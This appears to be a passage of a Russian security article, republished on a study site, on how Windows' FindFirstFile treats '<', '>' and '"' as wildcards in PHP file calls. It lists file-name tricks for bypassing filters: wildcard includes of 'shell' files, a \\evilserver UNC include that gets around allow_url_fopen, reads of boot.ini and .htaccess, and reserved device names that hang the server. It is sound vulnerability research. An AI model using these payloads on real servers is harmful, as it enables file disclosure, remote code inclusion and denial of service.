Теперь оставалось понять, является ли такое поведение функции FindFirstFile нормальным, или же здесь имеет место баг. Искать ответ на этот вопрос я начал с документации: msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx. В самой документации ничего не говорилось насчет символов > < ", зато вот в комментариях…
Bug?! The characters of '<' and '>' are treated like wildcard by this function.
[MSFT] — these are listed in the Naming A File topic as illegal characters in path and file names. That topic is being updated to make this clearer. History
10/19/2007 xMartian
5/2/2008 Mark Amos — MSFT
То есть об этом баге было известно еще в 2007 году! А ответ производителя вообще потрясал своим содержанием… Без комментариев:). На этом, вроде бы, стала окончательно ясна причина такого поведения PHP. Можно было приступать к расширению области применения данного бага. Перепробовав различные варианты, перечитав кучу документации (MSDN и правда очень полезен) и опробовав сотни идей, я выявил ряд правил, которые работают для файловых имен в WIN-системах. Причем баг в FindFirstFile способствует только первым четырем из них (нулевой пункт не считаем). Также, забегая вперед, скажу, что уязвимость касается не только функции file_get_contents:
Символы * и? не работают в именах файлов при вызове FindFirstFile через PHP (фильтруются).
Символ < заменяется при вызове FindFirstFile на *, то есть маску любого количества любых символов. При этом были найдены случаи, когда это работает некорректно (см. картинку). Для гарантированной маски * следует использовать <<. Пример: include('shell<') подключит файл shell*, причем если под маску попадет более одного файла, то подключится тот, который идет раньше по алфавиту.
Символ > заменяется при вызове FindFirstFile на?, то есть один любой символ. Пример: include('shell.p>p') подключит файл shell.p?p, причем если под маску попадет более одного файла, то подключится тот, который идет раньше по алфавиту.
Символ " заменяется при вызове FindFirstFile на точку. Пример: include('shell«php') эквивалентно include('shell.php').
Если первый символ в имени файла точка, то прочитать файл можно по имени без учета этой точки. Пример: fopen(»htaccess") эквивалентно fopen(".htaccess"), а более навороченно, с использованием п.1,fopen(«h<<»). Так как в имени файла вторая буква «а», то по алфавиту он, скорее всего, будет первым.
В конце имен файлов можно использовать последовательности из слэшей одного или разного вида (прямой и обратный), между которыми можно ставить одну точку, причем в конце всегда должна стоять точка, и не ", а настоящая. Пример: fopen("")
Можно использовать сетевые имена, начинающиеся с \\, за которыми идет любой символ, кроме точки. Это очевидно и было известно всем давно. Дополню лишь, что если сетевое имя не существует, то на операцию с файлом уходят лишние 4 секунды, что способствует истечению времени и ошибке max_execution_time (смотри статью «Гюльчатай, открой личико»). Также это позволяет обходить allow_url_fopen=Off и делать RFI. Пример: include('\\evilserver\shell.php')
Можно использовать расширенные имена, начинающиеся с \\.\, что дает возможность переключаться между дисками в имени файла. Пример: include('\\.\C:\my\file.php\..\..\..\D:\anotherfile.php').
Можно использовать альтернативный синтаксис имени диска для обхода фильтрации слэшей. Пример: file_get_contents('C:boot.ini') эквивалентно file_get_contents('C:/boot.ini')
Можно использовать короткие DOS-совместимые имена файлов и директорий. Это боян, не спорю. Но обращаю твое внимание, что если в директории находится более четырех файлов, имена которых короче трех символов, то такие имена будут дополнены четырьмя хекс-символами. Аналогично будет изменено имя файла, если в директории находятся более четырех файлов, чьи имена начинаются с тех же двух первых букв. Цитата:
Specifically, if more than four files use the same six-character root, additional file names are created by combining the first two characters of the file name with a four-character hash code and then appending a unique designator. A directory could have files named MYFAVO~1.DOC, MYFAVO~2.DOC, MYFAVO~3.DOC, and MYFAVO~4.DOC. Additional files with this root could be named MY3140~1.DOC, MY40C7~1.DOC, and MYEACC~1.DOC.
Пример: in.conf имеет DOS имя IND763~1.CON, то есть его можно прочитать строчкой file_get_contents('<<D763<<'), в которой вообще не содержится ни байта из настоящего имени файла! Как считаются эти четыре хекс-символа нигде не сказано, но они, кажется, зависят только от имени файла.
11. В PHP под окружением командной строки (не mod_php, а php.exe) работает специфика файлов с зарезервированными именами aux, con, prn, com1-9, lpt1-9. Пример: file_get_contents('C:/tmp/con.jpg') будет бесконечно читать из устройства CON нуль-байты, ожидая EOF. Пример: file_put_contents('C:/tmp/con.jpg',chr(0x07)) пискнет динамиком сервера (музыка:)).
Советую вырезать все пункты и повесить в рамочку на видное место. Лишним не будет:).
Нам важно ваше мнение! Был ли полезен опубликованный материал? Да | Нет
studopedia.su - Студопедия (2013 - 2024) год. Все материалы представленные на сайте исключительно с целью ознакомления читателями и не преследуют коммерческих целей или нарушение авторских прав!Последнее добавление